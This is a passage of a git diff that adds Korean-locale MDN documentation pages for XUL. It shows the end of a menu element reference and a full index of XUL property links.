+ <dd>The label that will appear on the element. If this is left out, no text appears. For an editable <code><a href="/en-US/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> element the value of this attribute is copied to the <code><a href="/en-US/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>.value property upon user selection of the <code><a href="/en-US/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>.</dd>
+</dl>
+
+
+</div><div id="a-menuactive">
+
+
+<dl>
+ <dt><code id="a-menuactive"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/menuactive">menuactive</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>This attribute is set on an item in a menu when it is being hovered over. Typcially, the theme will use this to highlight the item. A <code>DOMMenuItemActive</code> event will be sent to the item when the item is hovered over, and a <code>DOMMenuItemInactive</code> event will be sent to the item when the selection moves away.</dd>
+</dl>
+</div><div id="a-open">
+
+
+<dl>
+ <dt><code id="a-open"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/open">open</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>For the <code>menu</code> <code id="a-type"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/type">type</a></code> buttons, the <code>open</code> attribute is set to <code>true</code> when the menu is open. The <code>open</code> attribute is not present if the menu is closed.</dd>
+</dl>
+</div><div id="a-sizetopopup">
+
+
+<dl>
+ <dt><code id="a-sizetopopup"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/sizetopopup">sizetopopup</a></code></dt>
+ <dd>Type: <em>one of the values below</em></dd>
+ <dd>Indicates how the menu width and the <code><a href="/en-US/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> width are determined. If the <code>sizetopopup</code> attribute is left out or set to <code>none</code>, the menu will be its preferred width and the popup may extend outside of this width, unaffected by the maximum width of the menu itself. Otherwise, the menu will size itself to at least the size of the popup. If the menu has a maximum width, the popup will also be this width.</dd>
+ <dd>
+ <dl>
+  <dt><code>none</code></dt>
+  <dd>The width of the popup will not be constrained to the size of the menu.</dd>
+  <dt><code>pref</code></dt>
+  <dd>The preferred width of the menu label or button will be the size needed for the popup contents. This is the default value for menulists.</dd>
+  <dt><code>always</code></dt>
+  <dd>Both the preferred and minimum width of the menu label or button will be the same as that necessary for the <code><a href="/en-US/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>.</dd>
+ </dl>
+ </dd>
+</dl>
+</div><div id="a-value">
+
+
+<dl>
+ <dt><code id="a-value"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/value">value</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The string attribute allows you to associate a data value with an element. It is not used for any specific purpose, but you can access it with a script for your own use. Be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) Use another attribute like "value2" or "data-myAtt" (as in the HTML5 draft), as XUL does not require validation (less future-proof); 2) Use <a href="/en/DOM/element.setAttributeNS" title="en/DOM/element.setAttributeNS">setAttributeNS()</a> to put custom attributes in a non-XUL namespace (serializable and future-proof); 3) Use <a href="/En/DOM/Node.setUserData" title="En/DOM/Node.setUserData">setUserData()</a> (future-proof and clean, but not easily serializable). For user editable <code><a href="/en-US/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code> elements, the contents, as visible to the user, are read and set using the Menulist.value syntax. For those elements, <a href="/en/DOM/element.setAttribute" title="en/DOM/element.setAttributeNS">setAttribute("value", myValue)</a> and <a href="/en/DOM/element.setAttribute" title="en/DOM/element.getAttributeNS">getAttribute("value")</a> do not access or affect the contents displayed to the user.</dd>
+</dl>
+
+
+
+<p> </p>
+</div><p></p>
+<h3 id="Properties" name="Properties">Properties</h3>
+<p></p><div id="p-accessibleType">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/accessibleType">accessibleType</a></span></code></dt>
+  <dd>
+    Type: <em>integer</em></dd>
+  <dd>
+    A value indicating the type of accessibility object for the element.</dd>
+</dl>
+</div><div id="p-menuitem.control">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/menuitem.control">control</a></span></code></dt>
+ <dd>Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code> element</em></dd>
+ <dd>Returns the enclosing <code><a href="/en-US/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code> that the item is inside, if any, or <code>null</code> if there is no enclosing menu.</dd>
+</dl></div><div id="p-itemCount">
+<dl>
+  <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/itemCount">itemCount</a></span></code> </dt>
+  <dd>Type: <em>integer</em></dd>
+  <dd>Read only property holding the number of child items.</dd>
+</dl>
+</div><div id="p-menupopup">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/menupopup">menupopup</a></span></code></dt>
+ <dd>Type: <em>menupopup element</em></dd>
+ <dd>A reference to the <code><a href="/en-US/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> used by the <code><a href="/en-US/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code> or <code><a href="/en-US/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>. This property is read-only.</dd>
+</dl></div><div id="p-menu.open">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/menu.open">open</a></span></code> </dt>
+  <dd>
+    Type: <em>boolean</em></dd>
+  <dd>
+    This property will be set to true when the menu is open. The menu may be opened by setting the open property to true and closed by setting it to false.</dd>
+</dl></div><div id="p-parentContainer">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/parentContainer">parentContainer</a></span></code> </dt>
+ <dd>Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code> element</em></dd>
+ <dd>Read only property that returns the containing <code><a href="/en-US/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code> element, or <code>null</code> if there isn't a containing menu.</dd>
+</dl></div><div id="p-value">
+<dl>
+ <dt>
+  <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/value">value</a></span></code></dt>
+ <dd>
+  Type: <em>string</em></dd>
+ <dd>
+  Gets and sets the value of the <code id="a-value"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/value">value</a></code> attribute. For <code><a href="/en-US/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> and user editable <code><a href="/en-US/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code> elements, the contents, as visible to the user, are read and set using the <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/Textbox.value">Textbox.value</a></span></code> and Menulist.value syntax.</dd>
+</dl>
+
+<p> </p></div><p></p>
+<h3 id="Methods" name="Methods">Methods</h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Inherited Methods</strong><br>
+<small><code><a href="https://developer.mozilla.org/ko/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.appendChild">appendChild()</a></code>, <span id="m-blur"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/click">click</a></code></span>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.cloneNode">cloneNode()</a></code>, <a href="/En/DOM/Node.compareDocumentPosition" title="En/DOM/Node.compareDocumentPosition">compareDocumentPosition</a>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/focus">focus</a></code></span>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getBoundingClientRect">getBoundingClientRect()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getClientRects">getClientRects()</a></code>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/getElementsByAttribute">getElementsByAttribute</a></code></span>, <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getElementsByClassName">getElementsByClassName()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getFeature">getFeature()</a></code>, <a href="/En/DOM/Node.getUserData" title="En/DOM/Node.getUserData">getUserData</a>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.isDefaultNamespace">isDefaultNamespace()</a></code>, <a href="/En/DOM/Node.isEqualNode" title="En/DOM/Node.isEqualNode">isEqualNode</a>, <a href="/En/DOM/Node.isSameNode" title="En/DOM/Node.isSameNode">isSameNode</a>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.isSupported">isSupported()</a></code>, <a href="/En/DOM/Node.lookupNamespaceURI" title="En/DOM/Node.lookupNamespaceURI">lookupNamespaceURI</a>, <a href="/En/DOM/Node.lookupPrefix" title="En/DOM/Node.lookupPrefix">lookupPrefix</a>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.querySelector">querySelector()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.querySelectorAll">querySelectorAll()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code>, <a href="/En/DOM/Node.setUserData" title="En/DOM/Node.setUserData">setUserData</a></small></p>
+
+</td>
+</tr>
+</tbody>
+</table><dl>
+  <dt>
+    <span id="m-appendItem"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/appendItem">appendItem( label, value )</a></code></span></dt>
+  <dd>
+    Return type: <em>element</em></dd>
+  <dd>
+    Creates a new item and adds it to the end of the existing list of items. You may optionally set a value. The function returns the newly created element.</dd>
+</dl><dl>
+ <dt><span id="m-getIndexOfItem"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/getIndexOfItem">getIndexOfItem( item )</a></code></span></dt>
+ <dd>Return type: <em>integer</em></dd>
+ <dd>Returns the zero-based position of the specified item. Items are numbered starting at the first item displayed in the list.</dd>
+</dl><dl>
+ <dt><span id="m-getItemAtIndex"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/getItemAtIndex">getItemAtIndex( index )</a></code></span></dt>
+ <dd>Return type: <em>element</em></dd>
+ <dd>Returns the element that is at the specified index.</dd>
+</dl><dl>
+  <dt>
+    <span id="m-insertItemAt"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/insertItemAt">insertItemAt( index, label, value )</a></code></span></dt>
+  <dd>
+    Return type: <em>element</em></dd>
+  <dd>
+    This method creates a new item and inserts it at the specified position. You may optionally set a value. The new item element is returned.</dd>
+</dl><dl>
+  <dt>
+    <span id="m-removeItemAt"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/removeItemAt">removeItemAt( index )</a></code></span></dt>
+  <dd>
+    Return type: <em>element</em></dd>
+  <dd>
+    Removes the child item in the element at the specified index. The method returns the removed item.</dd>
+</dl><p></p>
+<h3 id="Style_classes" name="Style_classes">Style classes</h3>
+<p></p><dl> <dt><code><a href="https://developer.mozilla.org/en-US/docs/XUL/Style/menu-iconic">menu-iconic</a></code></dt> <dd>Use this class to have an image appear on the <code><a href="/en-US/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code>. Specify the image using the <code id="a-image"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/image">image</a></code> attribute.</dd>
+</dl><p></p>
+<h3 id="Related" name="Related">Related</h3>
+<dl>
+ <dt>
+  Elements</dt>
+ <dd>
+  <code><a href="/ko/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/menuseparator" title="menuseparator">menuseparator</a></code></dd>
+</dl>
+<dl>
+ <dt>
+  Interfaces</dt>
+ <dd>
+  <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessibleProvider" title="">nsIAccessibleProvider</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMXULContainerElement" title="">nsIDOMXULContainerElement</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMXULContainerItemElement" title="">nsIDOMXULContainerItemElement</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMXULSelectControlItemElement" title="">nsIDOMXULSelectControlItemElement</a></code></dd>
+</dl>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/property/index.html b/files/ko/mozilla/tech/xul/property/index.html
new file mode 100644
index 0000000000..f9c5eb52b4
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/property/index.html
@@ -0,0 +1,219 @@
+---
+title: Property
+slug: Mozilla/Tech/XUL/Property
+tags:
+  - XUL Properties
+translation_of: Archive/Mozilla/XUL/Property
+---
+<p><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/ko/docs/XUL_Reference" title="XUL_Reference">XUL Reference</a></span></p>
+<ul>
+ <li><a href="ko/XUL/Property/accessible">accessible</a></li>
+ <li><a href="ko/XUL/Property/accessKey">accessKey</a></li>
+ <li><a href="ko/XUL/Property/align">align</a></li>
+ <li><a href="ko/XUL/Property/allowEvents">allowEvents</a></li>
+ <li><a href="ko/XUL/Property/alwaysOpenPopup">alwaysOpenPopup</a></li>
+ <li><a href="ko/XUL/Property/appLocale">appLocale</a></li>
+ <li><a href="ko/XUL/Property/autoCheck">autoCheck</a></li>
+ <li><a href="ko/XUL/Property/autoFill">autoFill</a></li>
+ <li><a href="ko/XUL/Property/autoFillAfterMatch">autoFillAfterMatch</a></li>
+ <li><a href="ko/XUL/Property/boxObject">boxObject</a></li>
+ <li><a href="ko/XUL/Property/browsers">browsers</a></li>
+ <li><a href="ko/XUL/Property/builder">builder</a></li>
+ <li><a href="ko/XUL/Property/builderView">builderView</a></li>
+ <li><a href="ko/XUL/Property/buttons">buttons</a></li>
+ <li><a href="ko/XUL/Property/canAdvance">canAdvance</a></li>
+ <li><a href="ko/XUL/Property/canGoBack">canGoBack</a></li>
+ <li><a href="ko/XUL/Property/canGoForward">canGoForward</a></li>
+ <li><a href="ko/XUL/Property/canRewind">canRewind</a></li>
+ <li><a href="ko/XUL/Property/checked">checked</a></li>
+ <li><a href="ko/XUL/Property/checkState">checkState</a></li>
+ <li><a href="ko/XUL/Property/child">child</a></li>
+ <li><a href="ko/XUL/Property/children">children</a></li>
+ <li><a href="ko/XUL/Property/className">className</a></li>
+ <li><a href="ko/XUL/Property/collapsed">collapsed</a></li>
+ <li><a href="ko/XUL/Property/color">color</a></li>
+ <li><a href="ko/XUL/Property/columns">columns</a></li>
+ <li><a href="ko/XUL/Property/command">command</a></li>
+ <li><a href="ko/XUL/Property/commandManager">commandManager</a></li>
+ <li><a href="ko/XUL/Property/completeDefaultIndex">completeDefaultIndex</a></li>
+ <li><a href="ko/XUL/Property/container">container</a></li>
+ <li><a href="ko/XUL/Property/contentDocument">contentDocument</a></li>
+ <li><a href="ko/XUL/Property/contentTitle">contentTitle</a></li>
+ <li><a href="ko/XUL/Property/contentView">contentView</a></li>
+ <li><a href="ko/XUL/Property/contentViewerEdit">contentViewerEdit</a></li>
+ <li><a href="ko/XUL/Property/contentViewerFile">contentViewerFile</a></li>
+ <li><a href="ko/XUL/Property/contentWindow">contentWindow</a></li>
+ <li><a href="ko/XUL/Property/contextMenu">contextMenu</a></li>
+ <li><a href="ko/XUL/Property/control">control</a></li>
+ <li><a href="ko/XUL/Property/controller">controller</a></li>
+ <li><a href="ko/XUL/Property/controllers">controllers</a></li>
+ <li><a href="ko/XUL/Property/crop">crop</a></li>
+ <li><a href="ko/XUL/Property/current">current</a></li>
+ <li><a href="ko/XUL/Property/currentIndex">currentIndex</a></li>
+ <li><a href="ko/XUL/Property/currentItem">currentItem</a></li>
+ <li><a href="ko/XUL/Property/currentPage">currentPage</a></li>
+ <li><a href="ko/XUL/Property/currentPane">currentPane</a></li>
+ <li><a href="ko/XUL/Property/currentSet">currentSet</a></li>
+ <li><a href="ko/XUL/Property/currentURI">currentURI</a></li>
+ <li><a href="ko/XUL/Property/customToolbarCount">customToolbarCount</a></li>
+ <li><a href="ko/XUL/Property/database">database</a></li>
+ <li><a href="ko/XUL/Property/datasources">datasources</a></li>
+ <li><a href="ko/XUL/Property/defaultButton">defaultButton</a></li>
+ <li><a href="ko/XUL/Property/description">description</a></li>
+ <li><a href="ko/XUL/Property/dir">dir</a></li>
+ <li><a href="ko/XUL/Property/disableAutocomplete">disableAutocomplete</a></li>
+ <li><a href="ko/XUL/Property/disableAutoComplete">disableAutoComplete</a></li>
+ <li><a href="ko/XUL/Property/disableautoselect">disableautoselect</a></li>
+ <li><a href="ko/XUL/Property/disabled">disabled</a></li>
+ <li><a href="ko/XUL/Property/disableKeyNavigation">disableKeyNavigation</a></li>
+ <li><a href="ko/XUL/Property/dlgType">dlgType</a></li>
+ <li><a href="ko/XUL/Property/docShell">docShell</a></li>
+ <li><a href="ko/XUL/Property/documentCharsetInfo">documentCharsetInfo</a></li>
+ <li><a href="ko/XUL/Property/editable">editable</a></li>
+ <li><a href="ko/XUL/Property/editingSession">editingSession</a></li>
+ <li><a href="ko/XUL/Property/editortype">editortype</a></li>
+ <li><a href="ko/XUL/Property/enableColumnDrag">enableColumnDrag</a></li>
+ <li><a href="ko/XUL/Property/eventNode">eventNode</a></li>
+ <li><a href="ko/XUL/Property/firstOrdinalColumn">firstOrdinalColumn</a></li>
+ <li><a href="ko/XUL/Property/firstPermanentChild">firstPermanentChild</a></li>
+ <li><a href="ko/XUL/Property/flex">flex</a></li>
+ <li><a href="ko/XUL/Property/focused">focused</a></li>
+ <li><a href="ko/XUL/Property/focusedItem">focusedItem</a></li>
+ <li><a href="ko/XUL/Property/forceComplete">forceComplete</a></li>
+ <li><a href="ko/XUL/Property/group">group</a></li>
+ <li><a href="ko/XUL/Property/handleCtrlPageUpDown">handleCtrlPageUpDown</a></li>
+ <li><a href="ko/XUL/Property/handleCtrlTab">handleCtrlTab</a></li>
+ <li><a href="ko/XUL/Property/height">height</a></li>
+ <li><a href="ko/XUL/Property/hidden">hidden</a></li>
+ <li><a href="ko/XUL/Property/homePage">homePage</a></li>
+ <li><a href="ko/XUL/Property/id">id</a></li>
+ <li><a href="ko/XUL/Property/ignoreBlurWhileSearching">ignoreBlurWhileSearching</a></li>
+ <li><a href="ko/XUL/Property/image">image</a></li>
+ <li><a href="ko/XUL/Property/inputField">inputField</a></li>
+ <li><a href="ko/XUL/Property/inverted">inverted</a></li>
+ <li><a href="ko/XUL/Property/isSearching">isSearching</a></li>
+ <li><a href="ko/XUL/Property/isWaiting">isWaiting</a></li>
+ <li><a href="ko/XUL/Property/label">label</a></li>
+ <li><a href="ko/XUL/Property/lastSelected">lastSelected</a></li>
+ <li><a href="ko/XUL/Property/left">left</a></li>
+ <li><a href="ko/XUL/Property/linkedPanel">linkedPanel</a></li>
+ <li><a href="ko/XUL/Property/listBoxObject">listBoxObject</a></li>
+ <li><a href="ko/XUL/Property/locked">locked</a></li>
+ <li><a href="ko/XUL/Property/markupDocumentViewer">markupDocumentViewer</a></li>
+ <li><a href="ko/XUL/Property/maxHeight">maxHeight</a></li>
+ <li><a href="ko/XUL/Property/maxLength">maxLength</a></li>
+ <li><a href="ko/XUL/Property/maxRows">maxRows</a></li>
+ <li><a href="ko/XUL/Property/maxWidth">maxWidth</a></li>
+ <li><a href="ko/XUL/Property/menu">menu</a></li>
+ <li><a href="ko/XUL/Property/menuBoxObject">menuBoxObject</a></li>
+ <li><a href="ko/XUL/Property/menupopup">menupopup</a></li>
+ <li><a href="ko/XUL/Property/minHeight">minHeight</a></li>
+ <li><a href="ko/XUL/Property/minResultsForPopup">minResultsForPopup</a></li>
+ <li><a href="ko/XUL/Property/minWidth">minWidth</a></li>
+ <li><a href="ko/XUL/Property/mode">mode</a></li>
+ <li><a href="ko/XUL/Property/name">name</a></li>
+ <li><a href="ko/XUL/Property/next">next</a></li>
+ <li><a href="ko/XUL/Property/noMatch">noMatch</a></li>
+ <li><a href="ko/XUL/Property/object">object</a></li>
+ <li><a href="ko/XUL/Property/observes">observes</a></li>
+ <li><a href="ko/XUL/Property/onFirstPage">onFirstPage</a></li>
+ <li><a href="ko/XUL/Property/onLastPage">onLastPage</a></li>
+ <li><a href="ko/XUL/Property/open">open</a></li>
+ <li><a href="ko/XUL/Property/ordinal">ordinal</a></li>
+ <li><a href="ko/XUL/Property/orient">orient</a></li>
+ <li><a href="ko/XUL/Property/pack">pack</a></li>
+ <li><a href="ko/XUL/Property/pageCount">pageCount</a></li>
+ <li><a href="ko/XUL/Property/pageid">pageid</a></li>
+ <li><a href="ko/XUL/Property/pageIndex">pageIndex</a></li>
+ <li><a href="ko/XUL/Property/pageStep">pageStep</a></li>
+ <li><a href="ko/XUL/Property/palette">palette</a></li>
+ <li><a href="ko/XUL/Property/persist">persist</a></li>
+ <li><a href="ko/XUL/Property/popup">popup</a></li>
+ <li><a href="ko/XUL/Property/popupBoxObject">popupBoxObject</a></li>
+ <li><a href="ko/XUL/Property/popupOpen">popupOpen</a></li>
+ <li><a href="ko/XUL/Property/position">position</a></li>
+ <li><a href="ko/XUL/Property/predicate">predicate</a></li>
+ <li><a href="ko/XUL/Property/preferenceElements">preferenceElements</a></li>
+ <li><a href="ko/XUL/Property/preferencePanes">preferencePanes</a></li>
+ <li><a href="ko/XUL/Property/preferences">preferences</a></li>
+ <li><a href="ko/XUL/Property/radioGroup">radioGroup</a></li>
+ <li><a href="ko/XUL/Property/readonly">readonly</a></li>
+ <li><a href="ko/XUL/Property/ref">ref</a></li>
+ <li><a href="ko/XUL/Property/resource">resource</a></li>
+ <li><a href="ko/XUL/Property/resultsPopup">resultsPopup</a></li>
+ <li><a href="ko/XUL/Property/scrollBoxObject">scrollBoxObject</a></li>
+ <li><a href="ko/XUL/Property/searchCount">searchCount</a></li>
+ <li><a href="ko/XUL/Property/searchParam">searchParam</a></li>
+ <li><a href="ko/XUL/Property/searchSessions">searchSessions</a></li>
+ <li><a href="ko/XUL/Property/securityUI">securityUI</a></li>
+ <li><a href="ko/XUL/Property/selected">selected</a></li>
+ <li><a href="ko/XUL/Property/selectedBrowser">selectedBrowser</a></li>
+ <li><a href="ko/XUL/Property/selectedCount">selectedCount</a></li>
+ <li><a href="ko/XUL/Property/selectedIndex">selectedIndex</a></li>
+ <li><a href="ko/XUL/Property/selectedItem">selectedItem</a></li>
+ <li><a href="ko/XUL/Property/selectedItems">selectedItems</a></li>
+ <li><a href="ko/XUL/Property/selectedPanel">selectedPanel</a></li>
+ <li><a href="ko/XUL/Property/selectedTab">selectedTab</a></li>
+ <li><a href="ko/XUL/Property/selectionEnd">selectionEnd</a></li>
+ <li><a href="ko/XUL/Property/selectionStart">selectionStart</a></li>
+ <li><a href="ko/XUL/Property/selstyle">selstyle</a></li>
+ <li><a href="ko/XUL/Property/selType">selType</a></li>
+ <li><a href="ko/XUL/Property/sessionCount">sessionCount</a></li>
+ <li><a href="ko/XUL/Property/sessionHistory">sessionHistory</a></li>
+ <li><a href="ko/XUL/Property/showCommentColumn">showCommentColumn</a></li>
+ <li><a href="ko/XUL/Property/showPopup">showPopup</a></li>
+ <li><a href="ko/XUL/Property/size">size</a></li>
+ <li><a href="ko/XUL/Property/src">src</a></li>
+ <li><a href="ko/XUL/Property/statusbar">statusbar</a></li>
+ <li><a href="ko/XUL/Property/statusText">statusText</a></li>
+ <li><a href="ko/XUL/Property/stringBundle">stringBundle</a></li>
+ <li><a href="ko/XUL/Property/strings">strings</a></li>
+ <li><a href="ko/XUL/Property/style">style</a></li>
+ <li><a href="ko/XUL/Property/subject">subject</a></li>
+ <li><a href="ko/XUL/Property/suppressOnSelect">suppressOnSelect</a></li>
+ <li><a href="ko/XUL/Property/tabContainer">tabContainer</a></li>
+ <li><a href="ko/XUL/Property/tabIndex">tabIndex</a></li>
+ <li><a href="ko/XUL/Property/tabs">tabs</a></li>
+ <li><a href="ko/XUL/Property/tabScrolling">tabScrolling</a></li>
+ <li><a href="ko/XUL/Property/tag">tag</a></li>
+ <li><a href="ko/XUL/Property/textLength">textLength</a></li>
+ <li><a href="ko/XUL/Property/textValue">textValue</a></li>
+ <li><a href="ko/XUL/Property/timeout">timeout</a></li>
+ <li><a href="ko/XUL/Property/title">title</a></li>
+ <li><a href="ko/XUL/Property/toolbarName">toolbarName</a></li>
+ <li><a href="ko/XUL/Property/toolbarset">toolbarset</a></li>
+ <li><a href="ko/XUL/Property/tooltip">tooltip</a></li>
+ <li><a href="ko/XUL/Property/tooltipText">tooltipText</a></li>
+ <li><a href="ko/XUL/Property/top">top</a></li>
+ <li><a href="ko/XUL/Property/treeBoxObject">treeBoxObject</a></li>
+ <li><a href="ko/XUL/Property/type">type</a></li>
+ <li><a href="ko/XUL/Property/uri">uri</a></li>
+ <li><a href="ko/XUL/Property/userAction">userAction</a></li>
+ <li><a href="ko/XUL/Property/value">value</a></li>
+ <li><a href="ko/XUL/Property/view">view</a></li>
+ <li><a href="ko/XUL/Property/webBrowserFind">webBrowsereFind</a></li>
+ <li><a href="ko/XUL/Property/webNavigation">webNavigation</a></li>
+ <li><a href="ko/XUL/Property/webProgress">webProgress</a></li>
+ <li><a href="ko/XUL/Property/width">width</a></li>
+ <li><a href="ko/XUL/Property/wizardPages">wizardPages</a></li>
+</ul>
+<h3 id=".EA.B4.80.EB.A0.A8_DOM_.EC.9A.94.EC.86.8C_properties" name=".EA.B4.80.EB.A0.A8_DOM_.EC.9A.94.EC.86.8C_properties">관련 DOM 요소 properties</h3>
+<ul>
+ <li><a href="ko/DOM/element.attributes">DOM:element.attributes</a></li>
+ <li><a href="ko/DOM/element.childNodes">DOM:element.childNodes</a></li>
+ <li><a href="ko/DOM/element.cloneNode">DOM:element.cloneNode</a></li>
+ <li><a href="ko/DOM/element.firstChild">DOM:element.firstChild</a></li>
+ <li><a href="ko/DOM/element.lastChild">DOM:element.lastChild</a></li>
+ <li><a href="ko/DOM/element.localName">DOM:element.localName</a></li>
+ <li><a href="ko/DOM/element.namespaceURI">DOM:element.namespaceURI</a></li>
+ <li><a href="ko/DOM/element.nextSibling">DOM:element.nextSibling</a></li>
+ <li><a href="ko/DOM/element.nodeName">DOM:element.nodeName</a></li>
+ <li><a href="ko/DOM/element.nodeType">DOM:element.nodeType</a></li>
